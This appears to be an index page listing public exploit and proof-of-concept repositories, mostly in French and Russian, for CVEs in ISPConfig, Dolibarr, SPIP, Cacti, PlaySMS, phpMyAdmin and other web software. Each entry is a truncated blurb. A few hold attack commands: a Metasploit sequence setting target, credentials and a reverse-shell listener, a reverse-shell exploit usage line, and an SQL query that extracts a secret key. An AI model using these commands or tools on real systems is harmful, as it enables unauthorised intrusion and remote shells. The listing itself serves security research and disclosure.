CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration and Backup SELECT optionname,optionvalue FROM wpoptions WHERE optionname='ai1wmsecretkey'; +------------------+--------------+ | optionname | optionvalue | +------------------+--------------+ | ai1wmsecretkey | PwrqqK3UHQJo | +------------------+-------------...

CVE-2023-46818

CVE-2023-46818 Обнаружена проблема в ISPConfig до версии 3.2.11p1. Администратор может осуществить внедрение PHP-кода в редакторе языковых файлов, если включена опция adminallowlangedit. Использование ❯ python3 CVE-2023-46818.py Usage: python3 CVE-2023-46818.py Poc of CVE-2023-46818 ISPConfig =...

CVE-2024-9441

Nortek Linear eMerge E3 Pre-Auth RCE PoC CVE-2024-9441 Description: Ce dépôt contient une preuve de concept PoC d'exploit pour Nortek Linear eMerge E3 CVE-2024-9441, qui est vulnérable à une exécution de code à distance RCE en état de pré-authentification. La vulnérabilité est déclenchée par une...

CVE-2023-46818-Exploit

CVE-2023-46818-Exploit Ceci est mon propre exploit pour CVE-2023-46818 happy hacking ! Cet exploit automatise l'attaque décrite dans CVE-2023-46818 en tirant parti d'une vulnérabilité d'injection de code PHP dans ISPConfig version 3.2.11 et antérieures. Il se connecte au panneau ISPConfig en...

CVE-2023-46818

CVE-2023-46818 ISPConfig - Exploit PoC d'injection de code PHP Bash CVE-2023-46818 Injection de code PHP authentifiée dans ISPConfig pour plus de détails : avis CVE-2023-46818 PoC Introduction Les versions d'ISPConfig Remarque : Cet exploit nécessite des identifiants administrateur ISPConfig...

MetInfo CMS <= 8.1 - Remote Code Execution

MetInfo CMS 7.9, 8.0, and 8.1 contain an unauthenticated PHP code injection vulnerability caused by insufficient input neutralization in the execution path, letting remote attackers execute arbitrary code remotely, exploit requires crafted requests. id: CVE-2026-29014 info: name: MetInfo CMS = 8....

CVE-2023-46818

Metasploit-module Module Metasploit use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit Un problème a été découvert dans ISPConfig avant la version 3.2.11p1. Une injection de code PHP peut être...

CVE-2024-7954

CVE-2024-7954 - Exploit d'exécution de commandes à distance RCE dans SPIP 4.2.8 Ce script exploite une vulnérabilité d'exécution de code à distance dans SPIP version 4.2.8 via le point de terminaison porteplumeprevisu. La vulnérabilité permet à des attaquants non authentifiés d'injecter du code P...

CVE-2023-46818-python-exploit

CVE-2023-46818 exploit Ceci est une version Python du script PHP original pour la vulnérabilité affectant ISPConfig 3.2.11 et les versions précédentes. Source PHP originale : https://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html Cette preuve de concept est destinée...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PoC-эксплойт для PHP-инъекции кода Bash Введение Версии ISPConfig = 3.2.11 подвержены уязвимости аутентифицированной PHP-инъекции кода через параметр records в конечной точке /admin/languageedit.php. Злоумышленник с правами аутентифицированного администратора может...

CVE-2021-40904

CVE-2021-40904 - RCE via l'application Dokuwiki intégrée de CheckMk Application: Console Web de Gestion CheckMK Version du logiciel: De 1.5.0 à 1.5.0p25 Type d'attaque: RCE Solution: Mettez à jour vers la version 1.6 ou supérieure. Résumé: La console de gestion web de CheckMk Raw Edition versions...

CVE-2023-30253-PoC

CVE-2023-30253 CVE-2023-30253 PoC Description Ceci est mon PoC pour la CVE-2023-30253 Dolibarr 17.0.0 Injection de code PHP. Lorsque le plugin CMS Website core est activé, un attaquant authentifié peut exécuter des commandes à distance via une injection de code PHP en contournant les restrictions...

php-jpeg-injector

php-jpeg-injector Injecte des payloads PHP dans des images JPEG. Lié à ce post. Cas d'utilisation Vous avez une application web qui traite une image JPEG via la bibliothèque graphique GD de PHP. Description Ce script injecte du code PHP dans une image JPEG spécifiée. L'application web exécutera l...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 Script Python pour exploiter PlaySMS avant la version 1.4.3 Exécution Ouvrez un port sur votre machine : Et exécutez exploit.py : ./exploit.py Modification de l'exploit Vous pouvez souhaiter modifier le reverse shell créé par exploit.py Pour ce faire, modifiez la fonctio...

CVE-2025-62429

CVE-2025-62429 PoC - clipbucket RCE Preuve de concept pour RCE via injection de code PHP dans updatelaunch.php Divulgation : Signalé à l'origine par moi via GHSA-3h9c-7j8r-xc3v ⚠️ Utilisation autorisée uniquement pour pentesting/recherche autorisée. Informations sur la vulnérabilité Champ| Valeur...

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Remote Code Execution Exploit d'injection de code PHP pour Dolibarr ERP/CRM v17.0.0 permettant d'obtenir un shell inverse en tant qu'utilisateur www-data via le module Website/CMS. ⚠️ Uniquement à des fins éducatives et d'audits autorisés. 📑 Index Qu'est-ce...

pocs

minervais.com.phpMyAdminRCE.sh Эксплойт RCE удалённое выполнение кода для phpMyAdmin через инъекцию PHP-кода в '/scripts/setup.php'. Это был первый публично опубликованный эксплойт для CVE-2009-1151. Синтаксис $ ./phpMyAdminRCE.sh использование: ./phpMyAdminRCE.sh пример: ./phpMyAdminRCE.sh...

CVE-2024-43363

CVE-2024-43363 CVE-2024-43363 Script d'exploitation Ce script Python est conçu pour tester si une instance Cacti est vulnérable à CVE-2024-43363, une vulnérabilité d'exécution de code à distance RCE causée par un empoisonnement des journaux. Comment fonctionne la vulnérabilité : Empoisonnement de...

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

Exploit POC pour Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2022-29359

Système d'application de club scolaire Problème : Cross-Site Scripting stocké non authentifié menant à une injection HTML puis à une exécution de code à distance RCE Auteur : Zak Clifford Date : 12.04.2022 Vendeur :...